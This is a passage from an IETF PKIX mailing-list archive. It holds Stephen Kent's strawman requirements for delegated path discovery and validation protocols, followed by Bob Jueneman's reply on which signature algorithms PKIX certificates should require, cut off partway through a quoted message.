To: "PKIX-List" <ietf-pkix@imc.org>
From: Stephen Kent <kent@bbn.com>
Subject: DPD & DPV requirements
Content-Type: multipart/alternative; boundary="============_-1234008029==_ma============"

--============_-1234008029==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Content-Transfer-Encoding: quoted-printable

As promised, here is the strawman requirements specification for DPV=20
and DPD. Questions that the WG needs to address as part of deciding=20
on the scope of these requirements are in boldface.

Happy Holidays,

Steve
--------


The WG has already decided to purse standardization of a protocol (or=20
protocols) for delegated path discovery (DPD) and delegated path=20
validation (DPV). This memo revisits and expands on the rationale for=20
offering these services, notes the overlap in server functionality=20
required for each, and proposes requirements for candidate protocols=20
that will be considered for standardization by PKIX. The goal of the=20
memo is to provide a strawman set of requirements and evaluation=20
criteria that will be used to select PKIX standards.

A DPD or a DPV server may operate in either a public or private=20
context. In the former case, clients are assumed to be from a broad=20
community with no common organizational affiliation and the service=20
may be offered for a fee. In the latter case, the service may be=20
offered to a closed community under a common organizational=20
structure, where there is an expectation that the server falls under=20
the same administrative control as the clients and no explicit fee=20
may be involved. Intermediate or hybrid models also may exist, but=20
are not specifically identified here nor required as part of proposed=20
solutions.

DPD allows a client to offload the communications and processing=20
associated with retrieval of certificates and CRLs (or OCSP=20
responses) to create a certification path terminating in a target=20
certificate. The client supplies this target certificate, or it may=20
supply a partial path, or a complete path (the latter two may have=20
been acquired as part of a protocol exchange). In the last case, the=20
DPD server assists the client by acquiring relevant revocation status=20
information. The client might also supply some revocation status=20
data, to aid the path discovery process, just as it may provide a=20
partial or complete certification path. This might make sense if this=20
revocation status data was supplied to the client as part of a=20
protocol exchange, e.g., IKE and S/MIME make provisions for send such=20
data.

The client may be bandwidth constrained and thus would benefit from=20
having a server interact with repositories and other servers to=20
acquire the requisite certification path and/or revocation status=20
data. The client may be storage constrained, and thus can benefit=20
from a server that caches certificates, CRLs and OCSP responses.=20
Because multiple protocols may have to be employed in communicating=20
with various servers (e.g., OCSP, LDAP, etc.) in performing path=20
discovery, the size and complexity of client code may be reduced by=20
reliance on a DPD server. Because the server can have more storage, a=20
faster processor, and higher speed communications paths to these=20
servers, the client may gain a performance advantage by delegating=20
the task of path discovery.

DPV offloads all aspects of path validation to a server, which=20
returns to the client, at a minimum, an indication of status of the=20
target certificate. This status may be relative to the current time,=20
or it might be a request to verify status at some previous time,=20
e.g., as an aid to checking non-repudiation evidence. As above, the=20
client may provide a partial or complete candidate path for=20
validation, or may provide just the target certificate, and the=20
client may provide some or all of the associated revocation status=20
data. Also, the parameters for path validation must be provided,=20
either explicitly in the request or via server configuration. As well=20
as the benefits noted above (reduced bandwidth, storage and=20
processing requirements and reduced client code size and complexity),=20
DPV allows an administrator to centrally manage (via server=20
configuration) some or all of the path validation parameters. Similar=20
controls on path discovery could be present in a DPD server. Central=20
management controls are viewed as especially attractive in closed,=20
organizational environments as they mitigate configuration management=20
problems for individual clients. For a public DPV service this is not=20
an issue because there is no single, central authority responsible=20
for configuration management of all clients.

A DPD client is assumed capable of performing path validation on the=20
returned certificate chain(s), which implies that the client embodies=20
validation software consistent with RFC 2459 (which is non-trivial in=20
size and complexity) and thus is capable of parsing certificates,=20
CRLs, and OCSP responses. Such a client may be termed "PKI-aware,"=20
i.e., it can parse ASN.1, verify digital signatures, perform path=20
validation, and is cognizant of validation parameters. Thus, no=20
apparent, significant benefit accrues from using a syntax other than=20
ASN.1 for DPD queries and responses.

Because a DPD client is PKI-aware, it is capable of specifying the=20
validation parameters used by a DPD server in constructing a=20
candidate path. The goal of DPD is to return one or more chains that=20
will be acceptable to the client, so it is important that the client=20
be able to specify, e.g., via a DPD request, the set of validation=20
processing parameters that it will use for local validation. Only by=20
making the DPD server aware of these parameters can the server return=20
a path (and supporting revocation status data) that will have a very=20
high likelihood of being acceptable to the client. It may be=20
desirable, especially in a closed environment, to assert centralized=20
control over the validation processing parameters used by the server,=20
even though such control is less stringent than that imposed in a DPV=20
context. This suggests there should be provisions for configuring=20
validation processing parameters into the server, and for allowing a=20
client to select from among several possible parameter sets. See the=20
discussion immediately below for a further examination of this issue.

DPV also requires a means to control the validation parameters=20
defined in RFC 2459. If we assume that a DPV protocol will operate in=20
both open and closed environments,  and if we wish to accommodate=20
PKI-aware clients, then there must be a means for a client to specify=20
all of these parameters, or to specify a subset of them. The former=20
requirement arises in the simplest, open server contexts; the latter=20
may arise in such contexts if there is some other way to signal a=20
default set of parameters for validation control, e.g., via reference=20
to one of several validation policies configured in a server, as a=20
basis for these parameter values. In a closed environment, it is=20
still important that a client be able to specify validation=20
parameters, e.g., as a means of selecting from among a set of=20
parameters allowed by administrative controls managed at the server.=20
=46or example, a server in an organizational environment may have a=20
configured set of trust points, but a client may be permitted to=20
select from a subset of these when requesting validation for a=20
specific certificate. Such flexibility is needed because the=20
validation parameters are a function of several variables that are=20
context specific.

It seems reasonable to require a DPV or DPD client to be able to=20
control validation via two means: specification of a validation=20
policy configured at a server, or via client-specified parameters.=20
These means are not mutually exclusive, and a server should support=20
combinations of them, e.g., client-specified parameters constrained=20
by reference to a server-configured validation policy. We need to=20
refine the semantics here, e.g., can the server be configured with=20
path validation parameters that CANNOT be overridden by a client, and=20
if so, does the server have to inform the client when its=20
explicitly-specified parameters were ignored, as part of response, or=20
does the server just reject the request, note the offending=20
parameters, and let the client try again?

It is tempting to suggest support for multiple policies specified in=20
a request, but I'm not sure how one would make use of this. For=20
example, is the server required to try to construct paths based on=20
each of the policies, in succession, and to return all successful=20
results, or is the server free to choose any one of the policies?=20
Does the order in which the policies are specified indicative of=20
preference? To keep life simple, for now, I suggest that we allow=20
specifying only one policy in a request, but I am open to suggestions.

At a minimum, the parameters for server-configured policies must be=20
those specified by the certificate path validation algorithm in RFC=20
2459. It is tempting to suggest that a vendor may elect to augment=20
this set and provide a means by which a client can specify additional=20
controls. The motivation here is that, over time, we may identify=20
additional controls to provide "fuzzier" evaluation. For example, a=20
client might be willing to accept a certificate if the server asserts=20
that although the current CRL for the target certificate is not=20
available, the certificate is not on the most recent CRL available to=20
the server at the time of the request. This area is quite complex and=20
does not yet appear suitable for standardization. The WG must decide=20
if we wish to require (or discourage) such extensibility. Note that=20
extensibility usually leads to added complexity, and possible=20
non-interoperabilty, e.g., if private extensions are supported.=20
Personally, I would recommend against such extensions at this time.

It has been suggested that a DPV server also should be capable of=20
returning time-stamped certification path(s) and revocation data, for=20
later use as evidence in a non-repudiation dispute. If so, then the=20
data returned by a DPV server is potentially quite close to that=20
provided by a DPD server. One could argue that a DPD server could=20
provide an option for return of time-stamped path and revocation=20
status data, also in support of non-repudiation, for the same=20
reasons, which would make the responses for both types of servers=20
even more similar.

It is important to ask to what extent should we assume that a DPV=20
client is PKI aware? At one extreme one can imagine that the client=20
is PKI-aware and that it should be able to specify all of the path=20
validation parameters required in 2459. For such a client, returning=20
a certificate and an indication of its validity seems appropriate.=20
Alternatively, a DPV client may not be PKI-aware, but may still be=20
ASN.1-capable. The client could parse a certificate returned to it,=20
but it does not implement nor understand path validation. For such a=20
client, it seems appropriate to control path validation only via=20
reference to a policy, not by specifying individual path validation=20
parameters. In the extreme case, a DPV client may not even be=20
ASN.1-capable.

=46or a non-PKI aware, non-ASN.1-capable client, the results returned=20
by the DPV protocol should not be merely a certificate and a status=20
indication. Rather, the contents of a certificate that are relevant=20
to the client application should be returned as distinct values, in a=20
syntax appropriate for the client. For example, the public key and=20
associated algorithm, the subject name (and/or alternate names) and=20
the issuer name (and alternate names), the key usage bits, and the=20
extended key usage field are all candidate values to be returned as=20
distinct objects to the client. An argument could be made for using=20
XML to represent some of these values, and to represent the syntax of=20
the protocol messages. But, some of the certificate contents,=20
specifically the issuer name and subject name, are intrinsically=20
ASN.1 objects themselves, so these values would have to be decoded=20
even further for use by a non-ASN.1-aware client. (There are=20
scenarios that motivate return of ASN.1-encoded data, e.g.,=20
certification paths and revocation data, as an opaque blob, e.g., for=20
later use in a non-repudiation dispute. But this does not imply that=20
the client is ASN.1-aware.)

If we wish to support DPV clients  that are not ASN.1-capable, the WG=20
is faced with a question; Shall we mandate support for another syntax=20
in addition to (or in lieu of) ASN.1, for a DPV protocol? This=20
question must be resolved soon, as it becomes an important input to=20
DPV protocol requirements. In informal discussions at the IETF=20
meeting, some folks suggested that the scope of issues associated=20
with supporting non-ASN.1-capable clients (in the DPV context) is=20
potentially very broad and that we should defer such support for now.=20
But, the WG needs to weigh in on this question.

=46inally, this analysis suggests that there are relatively few=20
differences between a DPD and a DPV server. Both must be capable of=20
constructing and returning certification paths and supporting=20
revocation data, under the control of parameters that are either=20
explicitly specified by a client or referenced via a=20
server-configured policy. Both accept a range of inputs in the form=20
of certificates or certificate chains, and revocation data "hints."=20
Thus, the WG must decide if two distinct protocol formats, with=20
different syntax are warranted, of if a single (slightly more=20
complex) format for requests and responses is appropriate.

Based on the preceding analysis, I propose the following requirements=20
for DPD and DVP protocols, based on the assumption of ASN.1 aware=20
clients.  Remember that the protocol specs will encompass not only=20
the syntax of the bits on the wire, but also the processing that will=20
be performed by clients and servers.

Unless otherwise qualified, he following requirements are proposed=20
for both DPD and DPV protocols:

Client requirements:

1.1	A client request can contain a single certificate or a=20
certificate chain terminating in the "target" certificate, to assist=20
the server in path construction.

1.2	A client request can contain one or more revocation data=20
items, to assist the server in path validation.

1.3	A client request to a DPV server can specify the time=20
relative to which the validation is to be performed. If omitted, the=20
current time is assumed.

1.4	A DPD client request must be able to specify whether only=20
CRLs, only OCSP responses, or either, are acceptable forms of=20
revocation status data to be returned. (We could apply this=20
requirement to DPV requests as well, if the content of returned,=20
substantiating evidence for non-repudiation needs to be similarly=20
constrained.) [Shall we also allow the request to also impose=20
constraints on the forms of OCSP responses that are acceptable, by=20
type, and if the basic type is specified shall we require an ability=20
to specify a time before which a pre-produced OCSP response is=20
considered too old?]

1.5	A DPV client request must be able to specify whether a=20
certification path and revocation status data, plus a TSP response=20
(for each returned certification path and revocation data set) should=20
be returned by a server, in support of non-repudiation.

1.6	A DPD client request must be able to specify whether a TSP=20
response should be returned by a server (for each returned=20
certification path and revocation data set), in support of=20
non-repudiation.

1.7	A client request must be able to specify validation=20
processing parameter values both via reference to policies configured=20
at a server and via specification of values for individual=20
parameters. If no policy is specified and no parameters are=20
specified, a default parameter value set, configured at the server,=20
will be employed. If a policy is specified but no parameter values=20
are specified by the client, then the parameter values associated=20
with that policy are employed. If only client-supplied parameter=20
values are present in the request, then they are employed. Any=20
parameters not specified by the client will be supplied by the=20
default set configured in the server. Also, if any of these default=20
parameters are marked as not capable of being overridden by=20
user-specified parameter values, then the default parameter values=20
shall be employed. If a policy is specified and there are=20
client-supplied parameter values, the policy is employed to select=20
parameter values, and then the user-supplied parameter values are=20
applied, overriding the policy-specified parameter values, except for=20
any policy-specified parameters that are marked as not subject to=20
user override. [whew!]

1.8	Either the request/response protocol itself, or a specified=20
lower layer protocol to be employed for requests and responses, there=20
must be a provision for data origin authentication and connectionless=20
integrity for requests and responses, and responses must be matched=20
to requests. Request authentication & integrity is needed to support=20
access control to the server, a requirement for public servers.=20
Responses must be authenticated and integrity-protected to ensure=20
that they are from the indicated server, and matched to the request=20
in question. Additional security services may be offered optionally.

1.9	The client must be able to query a server and request path=20
validation policy parameter values for any policy configured on the=20
server. The client must be able to specify policies by an ID (e.g.,=20
an OID) or to refer to the default policy. [A standard will have to=20
specify the policy ID format.]


Server Requirements:

2.1	A server must be able to process client requests invoking any=20
of the features defined above for clients. Thus it must implement RFC=20
2459-compliant certificate validation procedures in support of both=20
DPD and DPV. The path discovery process implemented by a DPD server=20
operates under the same set of controls as path validation, and thus=20
a DPD server returns paths only if they are valid with respect to the=20
specified path validation parameter values.

2.2	A server must be able to return one or more sets of=20
certification paths and associated revocation data as a result of=20
path discovery/validation.  Each set shall consist of an ordered list=20
of certificates and associated CRLs and/or OCSP responses.

2.3	A server must be capable of returning a time stamp response=20
(consistent with the TSP RFC that will soon be issued) covering each=20
returned certification path and revocation data set. (See 1.4 & 1.5=20
above)

2.4	A server must be configurable to support multiple sets of=20
path validation parameters, each identified by a policy identifier.=20
One such set, which must include values for all validation=20
parameters, must be designated as the default policy. Each parameter=20
in any policy must be capable of being marked as not subject to=20
override by corresponding, client-specified parameters. (It is TBD=20
whether the default policy supercedes other configured policies if=20
there are conflicts in parameters that are marked as not being=20
subject to override.)

2.5	The means by which validation policy parameter values are=20
configured will not be part of the standard.

2.6	A server must be able to access both LDAP servers and OCSP=20
servers in support of path discovery and revocation data acquisition.

2.7	A server must be able to respond to a request from a client=20
for the path validation policy parameters for the default policy, or=20
for any identified policy. However, a server may impose access=20
controls with regard to such requests so that it may reject a query=20
if the client is not authorized to invoke the path validation policy=20
in question.
----------------------------------------------------------------------=20
--------------------------------------------

My examination of both SCVP and the proposed OCSPv2 extensions=20
suggests that neither meet the strawman requirements I set forth=20
above. Of course, the WG also has to review these requirements and=20
determine if there is consensus on them, or if they need to be=20
modified (pruned or extended). The time table in my pre-Christmas=20
message says that we have the next moth to reach closure on this.

=46inally, one criteria for selecting a standard which seems important=20
to many WG participants is the complexity of the client and server=20
implementations. Arguments about simplicity based on extending an=20
existing protocol are not objective in the absence of substantiating=20
data. Thus, to create a level playing field, all proposed protocols=20
must be accompanied by algorithmic descriptions of the processing by=20
both client and server. Remember that a protocol is not just the=20
syntax of the bits on the wire, but also encompasses the processing=20
and semantics associated with the protocol. I have tried to allude to=20
aspects of such processing in  the requirements above, but more work=20
remains. IETF standards have often failed to do a good job in this=20
regard. Our recent experience with varying interpretations of OCSP=20
(v1) responses demonstrate the importance of such specification. The=20
level of detail required here is open for discussion, but it must be=20
sufficient to allow WG members to create independent, interoperable=20
implementations, and to allow prospective evaluation of the relative=20
complexity of each candidate.

--============_-1234008029==_ma============
Content-Type: text/enriched; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<fontfamily><param>Times</param><bigger><bigger>As promised, here is
the strawman requirements specification for DPV and DPD. Questions that
the WG needs to address as part of deciding on the scope of these
requirements are in <bold>boldface</bold>.


Happy Holidays,


Steve

--------



The WG has already decided to purse standardization of a protocol (or
protocols) for delegated path discovery (DPD) and delegated path
validation (DPV). This memo revisits and expands on the rationale for
offering these services, notes the overlap in server functionality
required for each, and proposes requirements for candidate protocols
that will be considered for standardization by PKIX. The goal of the
memo is to provide a strawman set of requirements and evaluation
criteria that will be used to select PKIX standards.=20


A DPD or a DPV server may operate in either a public or private
context. In the former case, clients are assumed to be from a broad
community with no common organizational affiliation and the service may
be offered for a fee. In the latter case, the service may be offered to
a closed community under a common organizational structure, where there
is an expectation that the server falls under the same administrative
control as the clients and no explicit fee may be involved.
Intermediate or hybrid models also may exist, but are not specifically
identified here nor required as part of proposed solutions.


DPD allows a client to offload the communications and processing
associated with retrieval of certificates and CRLs (or OCSP responses)
to create a certification path terminating in a target certificate. The
client supplies this target certificate, or it may supply a partial
path, or a complete path (the latter two may have been acquired as part
of a protocol exchange). In the last case, the DPD server assists the
client by acquiring relevant revocation status information. The client
might also supply some revocation status data, to aid the path
discovery process, just as it may provide a partial or complete
certification path. This might make sense if this revocation status
data was supplied to the client as part of a protocol exchange, e.g.,
IKE and S/MIME make provisions for send such data.


The client may be bandwidth constrained and thus would benefit from
having a server interact with repositories and other servers to acquire
the requisite certification path and/or revocation status data. The
client may be storage constrained, and thus can benefit from a server
that caches certificates, CRLs and OCSP responses. Because multiple
protocols may have to be employed in communicating with various servers
(e.g., OCSP, LDAP, etc.) in performing path discovery, the size and
complexity of client code may be reduced by reliance on a DPD server.
Because the server can have more storage, a faster processor, and
higher speed communications paths to these servers, the client may gain
a performance advantage by delegating the task of path discovery.


DPV offloads all aspects of path validation to a server, which returns
to the client, at a minimum, an indication of status of the target
certificate. This status may be relative to the current time, or it
might be a request to verify status at some previous time, e.g., as an
aid to checking non-repudiation evidence. As above, the client may
provide a partial or complete candidate path for validation, or may
provide just the target certificate, and the client may provide some or
all of the associated revocation status data. Also, the parameters for
path validation must be provided, either explicitly in the request or
via server configuration. As well as the benefits noted above (reduced
bandwidth, storage and processing requirements and reduced client code
size and complexity), DPV allows an administrator to centrally manage
(via server configuration) some or all of the path validation
parameters. Similar controls on path discovery could be present in a
DPD server. Central management controls are viewed as especially
attractive in closed, organizational environments as they mitigate
configuration management problems for individual clients. For a public
DPV service this is not an issue because there is no single, central
authority responsible for configuration management of all clients.


A DPD client is assumed capable of performing path validation on the
returned certificate chain(s), which implies that the client embodies
validation software consistent with RFC 2459 (which is non-trivial in
size and complexity) and thus is capable of parsing certificates, CRLs,
and OCSP responses. Such a client may be termed "PKI-aware," i.e., it
can parse ASN.1, verify digital signatures, perform path validation,
and is cognizant of validation parameters. Thus, no apparent,
significant benefit accrues from using a syntax other than ASN.1 for
DPD queries and responses.=20


Because a DPD client is PKI-aware, it is capable of specifying the
validation parameters used by a DPD server in constructing a candidate
path. The goal of DPD is to return one or more chains that will be
acceptable to the client, so it is important that the client be able to
specify, e.g., via a DPD request, the set of validation processing
parameters that it will use for local validation. Only by making the
DPD server aware of these parameters can the server return a path (and
supporting revocation status data) that will have a very high
likelihood of being acceptable to the client. It may be desirable,
especially in a closed environment, to assert centralized control over
the validation processing parameters used by the server, even though
such control is less stringent than that imposed in a DPV context. This
suggests there should be provisions for configuring validation
processing parameters into the server, and for allowing a client to
select from among several possible parameter sets. See the discussion
immediately below for a further examination of this issue.=20


DPV also requires a means to control the validation parameters defined
in RFC 2459. If we assume that a DPV protocol will operate in both open
and closed environments,  and if we wish to accommodate PKI-aware
clients, then there must be a means for a client to specify all of
these parameters, or to specify a subset of them. The former
requirement arises in the simplest, open server contexts; the latter
may arise in such contexts if there is some other way to signal a
default set of parameters for validation control, e.g., via reference
to one of several validation policies configured in a server, as a
basis for these parameter values. In a closed environment, it is still
important that a client be able to specify validation parameters, e.g.,
as a means of selecting from among a set of parameters allowed by
administrative controls managed at the server. For example, a server in
an organizational environment may have a configured set of trust
points, but a client may be permitted to select from a subset of these
when requesting validation for a specific certificate. Such flexibility
is needed because the validation parameters are a function of several
variables that are context specific.


It seems reasonable to require a DPV or DPD client to be able to
control validation via two means: specification of a validation policy
configured at a server, or via client-specified parameters. These means
are <underline>not</underline> mutually exclusive, and a server should
support combinations of them, e.g., client-specified parameters
constrained by reference to a server-configured validation policy. We
need to refine the semantics here, e.g., can the server be configured
with path validation parameters that CANNOT be overridden by a client,
and if so, does the server have to inform the client when its
explicitly-specified parameters were ignored, as part of response, or
does the server just reject the request, note the offending parameters,
and let the client try again?


It is tempting to suggest support for multiple policies specified in a
request, but I'm not sure how one would make use of this. For example,
is the server required to try to construct paths based on each of the
policies, in succession, and to return all successful results, or is
the server free to choose any one of the policies?  Does the order in
which the policies are specified indicative of preference? To keep life
simple, for now, I suggest that we allow specifying only one policy in
a request, but I am open to suggestions.


At a minimum, the parameters for server-configured policies must be
those specified by the certificate path validation algorithm in RFC
2459. It is tempting to suggest that a vendor may elect to augment this
set and provide a means by which a client can specify additional
controls. The motivation here is that, over time, we may identify
additional controls to provide "fuzzier" evaluation. For example, a
client might be willing to accept a certificate if the server asserts
that although the current CRL for the target certificate is not
available, the certificate is not on the most recent CRL available to
the server at the time of the request. This area is quite complex and
does not yet appear suitable for standardization. The WG must decide if
we wish to require (or discourage) such extensibility. Note that
extensibility usually leads to added complexity, and possible
non-interoperabilty, e.g., if private extensions are supported.
Personally, I would recommend against such extensions at this time.


It has been suggested that a DPV server also should be capable of
returning time-stamped certification path(s) and revocation data, for
later use as evidence in a non-repudiation dispute. If so, then the
data returned by a DPV server is potentially quite close to that
provided by a DPD server. One could argue that a DPD server could
provide an option for return of time-stamped path and revocation status
data, also in support of non-repudiation, for the same reasons, which
would make the responses for both types of servers even more similar.


It is important to ask to what extent should we assume that a DPV
client is PKI aware? At one extreme one can imagine that the client is
PKI-aware and that it should be able to specify all of the path
validation parameters required in 2459. For such a client, returning a
certificate and an indication of its validity seems appropriate.
Alternatively, a DPV client may not be PKI-aware, but may still be
ASN.1-capable. The client could parse a certificate returned to it, but
it does not implement nor understand path validation. For such a
client, it seems appropriate to control path validation only via
reference to a policy, not by specifying individual path validation
parameters. In the extreme case, a DPV client may not even be
ASN.1-capable.


=46or a non-PKI aware, non-ASN.1-capable client, the results returned by
the DPV protocol should not be merely a certificate and a status
indication. Rather, the contents of a certificate that are relevant to
the client application should be returned as distinct values, in a
syntax appropriate for the client. For example, the public key and
associated algorithm, the subject name (and/or alternate names) and the
issuer name (and alternate names), the key usage bits, and the extended
key usage field are all candidate values to be returned as distinct
objects to the client. An argument could be made for using XML to
represent some of these values, and to represent the syntax of the
protocol messages. But, some of the certificate contents, specifically
the issuer name and subject name, are intrinsically ASN.1 objects
themselves, so these values would have to be decoded even further for
use by a non-ASN.1-aware client. (There are scenarios that motivate
return of ASN.1-encoded data, e.g., certification paths and revocation
data, as an opaque blob, e.g., for later use in a non-repudiation
dispute. But this does not imply that the client is ASN.1-aware.)=20


If we wish to support DPV clients  that are not ASN.1-capable, the WG
is faced with a question; <bold>Shall we mandate support for another
syntax in addition to (or in lieu of) ASN.1, for a DPV protocol?</bold>
This question must be resolved soon, as it becomes an important input
to DPV protocol requirements. In informal discussions at the IETF
meeting, some folks suggested that the scope of issues associated with
supporting non-ASN.1-capable clients (in the DPV context) is
potentially very broad and that we should defer such support for now.
But, the WG needs to weigh in on this question.=20


=46inally, this analysis suggests that there are relatively few
differences between a DPD and a DPV server. Both must be capable of
constructing and returning certification paths and supporting
revocation data, under the control of parameters that are either
explicitly specified by a client or referenced via a server-configured
policy. Both accept a range of inputs in the form of certificates or
certificate chains, and revocation data "hints." <bold>Thus, the WG
must decide if two distinct protocol formats, with different syntax are
warranted, of if a single (slightly more complex) format for requests
and responses is appropriate.


</bold>Based on the preceding analysis, I propose the following
requirements for DPD and DVP protocols, <underline>based on the
assumption of ASN.1 aware clients</underline>.  Remember that the
protocol specs will encompass not only the syntax of the bits on the
wire, but also the processing that will be performed by clients and
servers.


Unless otherwise qualified, he following requirements are proposed for
<underline>both</underline> DPD and DPV protocols:


Client requirements:


1.1	A client request can contain a single certificate or a certificate
chain terminating in the "target" certificate, to assist the server in
path construction.


1.2	A client request can contain one or more revocation data items, to
assist the server in path validation.


1.3	A client request to a DPV server can specify the time relative to
which the validation is to be performed. If omitted, the current time
is assumed.


1.4	A DPD client request must be able to specify whether only CRLs,
only OCSP responses, or either, are acceptable forms of revocation
status data to be returned. (We could apply this requirement to DPV
requests as well, if the content of returned, substantiating evidence
for non-repudiation needs to be similarly constrained.) [<bold>Shall we
also allow the request to also impose constraints on the forms of OCSP
responses that are acceptable, by type, and if the basic type is
specified shall we require an ability to specify a time before which a
pre-produced OCSP response is considered too old?</bold>]


1.5	A DPV client request must be able to specify whether a
certification path and revocation status data, plus a TSP response (for
each returned certification path and revocation data set) should be
returned by a server, in support of non-repudiation.


1.6	A DPD client request must be able to specify whether a TSP response
should be returned by a server (for each returned certification path
and revocation data set), in support of non-repudiation.


1.7	A client request must be able to specify validation processing
parameter values both via reference to policies configured at a server
and via specification of values for individual parameters. If no policy
is specified and no parameters are specified, a default parameter value
set, configured at the server, will be employed. If a policy is
specified but no parameter values are specified by the client, then the
parameter values associated with that policy are employed. If only
client-supplied parameter values are present in the request, then they
are employed. Any parameters not specified by the client will be
supplied by the default set configured in the server. Also, if any of
these default parameters are marked as not capable of being overridden
by user-specified parameter values, then the default parameter values
shall be employed. If a policy is specified and there are
client-supplied parameter values, the policy is employed to select
parameter values, and then the user-supplied parameter values are
applied, overriding the policy-specified parameter values, except for
any policy-specified parameters that are marked as not subject to user
override. [whew!]


1.8	Either the request/response protocol itself, or a specified lower
layer protocol to be employed for requests and responses, there must be
a provision for data origin authentication and connectionless integrity
for requests and responses, and responses must be matched to requests.
Request authentication & integrity is needed to support access control
to the server, a requirement for public servers. Responses must be
authenticated and integrity-protected to ensure that they are from the
indicated server, and matched to the request in question. Additional
security services may be offered optionally.


1.9	The client must be able to query a server and request path
validation policy parameter values for any policy configured on the
server. The client must be able to specify policies by an ID (e.g., an
OID) or to refer to the default policy. [A standard will have to
specify the policy ID format.]



Server Requirements:


2.1	A server must be able to process client requests invoking any of
the features defined above for clients. Thus it must implement RFC
2459-compliant certificate validation procedures in support of both DPD
and DPV. The path discovery process implemented by a DPD server
operates under the same set of controls as path validation, and thus a
DPD server returns paths only if they are valid with respect to the
specified path validation parameter values.


2.2	A server must be able to return one or more sets of certification
paths and associated revocation data as a result of path
discovery/validation.  Each set shall consist of an ordered list of
certificates and associated CRLs and/or OCSP responses.


2.3	A server must be capable of returning a time stamp response
(consistent with the TSP RFC that will soon be issued) covering each
returned certification path and revocation data set. (See 1.4 & 1.5
above)


2.4	A server must be configurable to support multiple sets of path
validation parameters, each identified by a policy identifier. One such
set, which must include values for all validation parameters, must be
designated as the default policy. Each parameter in
<underline>any</underline> policy must be capable of being marked as
<underline>not</underline> subject to override by corresponding,
client-specified parameters. (It is TBD whether the default policy
supercedes other configured policies if there are conflicts in
parameters that are marked as not being subject to override.)


2.5	The means by which validation policy parameter values are
configured will not be part of the standard.


2.6	A server must be able to access both LDAP servers and OCSP servers
in support of path discovery and revocation data acquisition.


2.7	A server must be able to respond to a request from a client for the
path validation policy parameters for the default policy, or for any
identified policy. However, a server may impose access controls with
regard to such requests so that it may reject a query if the client is
not authorized to invoke the path validation policy in question.

----------------------------------------------------------------------------=
--------------------------------------


My examination of both SCVP and the proposed OCSPv2 extensions suggests
that neither meet the strawman requirements I set forth above. Of
course, the WG also has to review these requirements and determine if
there is consensus on them, or if they need to be modified (pruned or
extended). The time table in my pre-Christmas message says that we have
the next moth to reach closure on this.


=46inally, one criteria for selecting a standard which seems important to
many WG participants is the complexity of the client and server
implementations. Arguments about simplicity based on extending an
existing protocol are not objective in the absence of substantiating
data. Thus, to create a level playing field, all proposed protocols
must be accompanied by algorithmic descriptions of the processing by
both client and server. Remember that a protocol is not just the syntax
of the bits on the wire, but also encompasses the processing and
semantics associated with the protocol. I have tried to allude to
aspects of such processing in  the requirements above, but more work
remains. IETF standards have often failed to do a good job in this
regard. Our recent experience with varying interpretations of OCSP (v1)
responses demonstrate the importance of such specification. The level
of detail required here is open for discussion, but it must be
sufficient to allow WG members to create independent, interoperable
implementations, and to allow prospective evaluation of the relative
complexity of each candidate.
</bigger></bigger></fontfamily>

--============_-1234008029==_ma============--


Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA26338 for <ietf-pkix@imc.org>; Fri, 29 Dec 2000 10:14:57 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com with Novell_GroupWise; Fri, 29 Dec 2000 11:18:15 -0700
Message-Id: <sa4c72f7.079@prv-mail20.provo.novell.com>
X-Mailer: Novell GroupWise Internet Agent 5.5.5.1
Date: Fri, 29 Dec 2000 11:18:10 -0700
From: "Bob Jueneman" <bjueneman@novell.com>
To: <ietf-pkix@imc.org>, <tim.polk@nist.gov>, <paul.hoffman@vpnc.org>
Subject: RE: Required Algorithms for Certificates
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id KAA26339

I agree with Paul. I see absolutely no move to support DSA/DH in S/MIME, 
SSL/TLS, or IPSEC, regardless of what the IETF standards state.

We implemented DSA within NICI primarily because it was available in BSAFE, 
relatively easy to do, and was required for any meaningful compliance with 
FIPS 140-1 at the time, NOT because we expected anyone to ever use it.

Within a more or less general-purpose crypto library, the overhead isn't all that
great, and clearly there isn't any issue of interoperability at the API level to 
worry about, so in that environment I more or less don't care.  However, if
I were trying to develop some crypto applications on a tiny-weenie processor
like a credit card, that would be a much different story. Then I would simply
be non-compliant, rather than include something that provided me no benefit.

Other than avoiding the intellectual property issues (which are now moot), I see 
no reason to make DSA even a SHOULD, much less a MUST.  I wouldn't argue
with a MAY, if that helps people (both of them? :-) who have already implemented 
DSA because they actually believed the standards, or because they thought that 
if the Government required it as part of their procurement specs, they would actually 
buy (only) those products that complied. But I don't think there is any issue that DSA 
is a dead horse.

The real issue, I believe, is going to be between RSA and ECDSA.  RSA obviously 
has a lot going for it as the de facto standard.  And ECDSA also has a lot going for it,
in terms of compactness and minimum power requirements.

I don't have a good crystal ball that would tell me whether WAP and some of the 
other wireless applications are going to succeed or fail. Personally, I have a 
mini-browser built into my cellular phone (a Samsung), and I have yet to find ANY
application for it that is worth the hassle, much less the airtime.  Maybe if I were 
a day trader I would view things differently.

But although I'm still looking for that killer application, I would not be inclined
to bet against the possibility.  Somebody, somewhere, will probably come up with
something useful.

And in that case, I think that ECDSA will become a requirement.

Because of all of the existing CAs and certificates, those applications are going 
to have to continue to support RSA-signed certificates for the indefinite future.
Fortunately, validating an RSA signature is a lot easier than generating one.

But because digitally signing something is a lot easier (in terms of power and 
size) with ECDSA, end-user certs for such applications are going to have to 
contain ECDSA signing keys, even if the certificates themselves are signed 
with RSA for the time being.  And there will be pressure to have the certs 
themselves signed with ECDSA, in order to reduce the overall size.

So maybe the requirement hasn't quite materialized, but I would support making
RSA a MUST, deprecating DSA to a MAY, and making ECDSA a SHOULD, 
with the option of transitioning ECDSA to a MUST if and when a critical mass 
of implementations and users can be demonstrated.

Bob

Robert R. Jueneman
Security Architect
Novell, Inc -- the leading provider of Net services software




>>> Paul Hoffman / VPNC <paul.hoffman@vpnc.org> 12/21/00 04:53PM >>>
At 5:04 PM -0500 12/21/00, Tim Polk wrote:
>If PKIX decides to specify MUSTs or SHOULDs, they should be designed 
>to support broad interoperability.

Exactly. It is easier to get interoperability with one algorithm than 
